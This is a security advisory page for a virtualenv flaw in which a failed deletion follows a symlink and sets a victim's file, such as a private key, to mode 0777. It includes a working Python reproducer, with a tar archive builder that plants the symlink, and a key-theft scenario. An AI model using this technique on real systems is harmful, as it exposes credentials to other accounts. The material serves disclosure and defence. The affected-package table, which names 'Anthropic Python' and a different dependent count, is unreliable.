CVE-2026-113724: virtualenv: symlink-following chmod alters file permissions

GHSA-43mp-35q3-x3fqMEDIUM
Published October 21, 2026
CISO Take

virtualenv versions before 21.14.9 have a flaw in their deletion error handler: it reads permission bits with lstat() but applies them with chmod(), which follows symlinks. When a delete fails on a symlink inside a read-only directory, the target file can be changed to mode 0777. The risk is low to moderate: CVSS is 4.5 (medium), the attack needs local access, a specially prepared read-only archive and a victim running virtualenv on it, and no public exploit, Nuclei template or KEV listing exists. The blast radius is wide, though, because virtualenv has about 6,390 downstream dependents and sits in many ML build and CI pipelines. The practical danger is a private key or credential file being quietly made accessible to other local accounts. Upgrade to virtualenv 21.14.9 and avoid running virtualenv on untrusted archives or on directories populated by other accounts.

Sources:NVDGitHub AdvisoryATLAS

What is the risk?

Medium-to-low overall. It needs local access, high attack complexity (a prepared read-only tar tree with a symlink), and a victim who runs virtualenv (or --clear) in that tree. Root is not affected, and the target must be owned by the invoking user. There is no public exploit, no KEV listing and no EPSS data. Impact is limited to widened file permissions (low confidentiality, integrity and availability impact). It does not read the target, and other accounts can only use the wider mode if they can traverse its parent directories. The AI/ML exposure is indirect, through shared build hosts, CI runners and multi-user GPU/dev servers where ML teams create virtual environments.

How does the attack unfold?

Initial Access
Attacker plants a prepared project archive with a read-only venv/bin/python directory and a symlink to the victim's key on a shared host.
AML.T0010.001
Exploitation
Victim runs virtualenv (or --clear) on the tree; the unlink fails and the error handler calls chmod through the symlink.
Impact
The target key or credential file becomes mode 0777, exposing it to other local accounts that can traverse its path.
AML.T0055

What systems are affected?

PackageEcosystemVulnerable RangePatched
Anthropic Pythonpip< 21.14.921.14.9
4.0K5.4K dependentsPushed 8d ago93% patched~9d to patchFull package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1
4.5 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 10% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What is the attack surface?

AVACPRUISCIA
AVLocal
ACHigh
PRLow
UINone
SUnchanged
CLow
ILow
ALow

What should I do?

1 step
  1. 1) Upgrade virtualenv to 21.14.9 or later (pip install -U virtualenv) on developer machines, CI images and build containers. 2) Do not run virtualenv, or virtualenv --clear, in directories populated by other accounts or extracted from untrusted tar/cp -a archives. 3) If cleanup fails with PermissionError, inspect the failing entry before retrying with broader privileges. 4) Audit sensitive files (keys, .pem, tokens, cloud credentials) for unexpected 0777 or world-writable modes, for example with find on home and CI workspace directories. 5) Run CI jobs with isolated, ephemeral workspaces and keep secrets outside the workspace tree. 6) Pin and verify virtualenv versions in base images through dependency scanning.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001
A.6.2.6-AI system operation and monitoring
NIST AI RMF
MANAGE 2.3-Responses to identified AI risks and unknown risks
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-113724?

virtualenv versions before 21.14.9 have a flaw in their deletion error handler: it reads permission bits with lstat() but applies them with chmod(), which follows symlinks. When a delete fails on a symlink inside a read-only directory, the target file can be changed to mode 0777. The risk is low to moderate: CVSS is 4.5 (medium), the attack needs local access, a specially prepared read-only archive and a victim running virtualenv on it, and no public exploit, Nuclei template or KEV listing exists. The blast radius is wide, though, because virtualenv has about 6,390 downstream dependents and sits in many ML build and CI pipelines. The practical danger is a private key or credential file being quietly made accessible to other local accounts. Upgrade to virtualenv 21.14.9 and avoid running virtualenv on untrusted archives or on directories populated by other accounts.

Is CVE-2026-113724 actively exploited?

No confirmed active exploitation of CVE-2026-113724 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-113724?

1) Upgrade virtualenv to 21.14.9 or later (pip install -U virtualenv) on developer machines, CI images and build containers. 2) Do not run virtualenv, or virtualenv --clear, in directories populated by other accounts or extracted from untrusted tar/cp -a archives. 3) If cleanup fails with PermissionError, inspect the failing entry before retrying with broader privileges. 4) Audit sensitive files (keys, .pem, tokens, cloud credentials) for unexpected 0777 or world-writable modes, for example with find on home and CI workspace directories. 5) Run CI jobs with isolated, ephemeral workspaces and keep secrets outside the workspace tree. 6) Pin and verify virtualenv versions in base images through dependency scanning.

What systems are affected by CVE-2026-113724?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, CI/CD build pipelines, shared ML development environments, model serving build.

What is the CVSS score for CVE-2026-113724?

CVE-2026-113724 has a CVSS v3.1 base score of 4.5 (MEDIUM). The EPSS exploitation probability is 0.20%.

What is the AI security impact?

Affected AI Architectures

training pipelinesCI/CD build pipelinesshared ML development environmentsmodel serving build

MITRE ATLAS Techniques

AML.T0037Data from Local System
AML.T0055Unsecured Credentials

Compliance Controls Affected

ISO 42001: A.6.2.6
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Summary The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination. Anthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Permission recovery after a filesystem deletion error. ## Attacker-controlled input A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path. ## Affected code The relevant 21.14.8 source is in [safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism `safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler calls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link's mode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target's mode to become `0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path. ## Reproduction and evidence The scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to the user's mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and `virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the key's mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the key at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup. This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to #3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on deletion failure and handles Windows read-only entries without following reparse points. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared read-only venv tree participant V as safe_delete error handler participant L as Symlink in venv participant K as User's 0400 key A->>V: virtualenv venv or --clear venv V->>L: unlink fails in 0555 directory V->>L: lstat returns link mode 0777 V->>L: chmod follows symlink L->>K: target mode becomes 0777 V-->>A: retry fails with PermissionError Note over K: Other accounts can use new mode if parent paths are traversable ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import stat import subprocess import sys import tempfile from pathlib import Path NOBODY = 65534 work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-")) os.chmod(work, 0o755) os.chown(work, NOBODY, NOBODY) # the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"] subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True) subprocess.run([*make_archive, work / "writable.tar", "755"], check=True) subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True) # from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run os.setgroups([]) os.setgid(NOBODY) os.setuid(NOBODY) os.umask(0o022) def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options): home = work / home_name archive = work / archive_name key = home / "keys" / "deploy.pem" key.parent.mkdir(parents=True) key.write_text("PRIVATE KEY\n") key.chmod(0o400) subprocess.run(["tar", "-xf", archive], cwd=home, check=True) mode_before = stat.S_IMODE(key.stat().st_mode) command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"] # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it result = subprocess.run( command, cwd=home / "proj", env={**os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) mode_after = stat.S_IMODE(key.stat().st_mode) print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}") print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}") return mode_before, mode_after control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar") default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar") clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear") # check: the key lives outside the destination; virtualenv has no business changing its mode print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK") ``` **`repro.d/make_project_archive.py`** ```text #!/usr/bin/env python3 import sys import tarfile archive_path = sys.argv[1] python_folder_mode = int(sys.argv[2], 8) with tarfile.open(archive_path, "w") as archive: python_folder = tarfile.TarInfo("proj/venv/bin/python") python_folder.type = tarfile.DIRTYPE python_folder.mode = python_folder_mode # without the write bit, unlinking an entry inside it fails with EACCES archive.addfile(python_folder) link = tarfile.TarInfo("proj/venv/bin/python/entry") link.type = tarfile.SYMTYPE link.linkname = "../../../../keys/deploy.pem" # the victim's key, beside the unpacked proj/ archive.addfile(link) ``` ## Impact Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion failure to occur on a link and the invoking user to have permission to change the target mode. Severity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains outside this protection. Fix: [PR #3427](https://github.com/pypa/virtualenv/pull/3427). ## Known mitigation Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before retrying with broader privileges. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.

Exploitation Scenario

An attacker with a local account on a shared ML build server or CI runner leaves a project archive that contains a read-only (0555) venv/bin/python directory holding a symlink to a victim's ~/keys/deploy.pem. The victim, or an automated job running as the victim, unpacks the archive and runs virtualenv --clear venv. The deletion fails, the error handler follows the symlink and sets the key to 0777. The command ends with PermissionError, so the change goes unnoticed. The attacker then reads the now world-readable key, if the parent directories are traversable, and uses it to reach model registries or cloud training infrastructure.

Weaknesses (CWE)

CWE-59 — Improper Link Resolution Before File Access ('Link Following'): The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

  • [Architecture and Design] Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Timeline

Published
October 21, 2026
Last Modified
October 27, 2026
First Seen
October 22, 2026

Related Vulnerabilities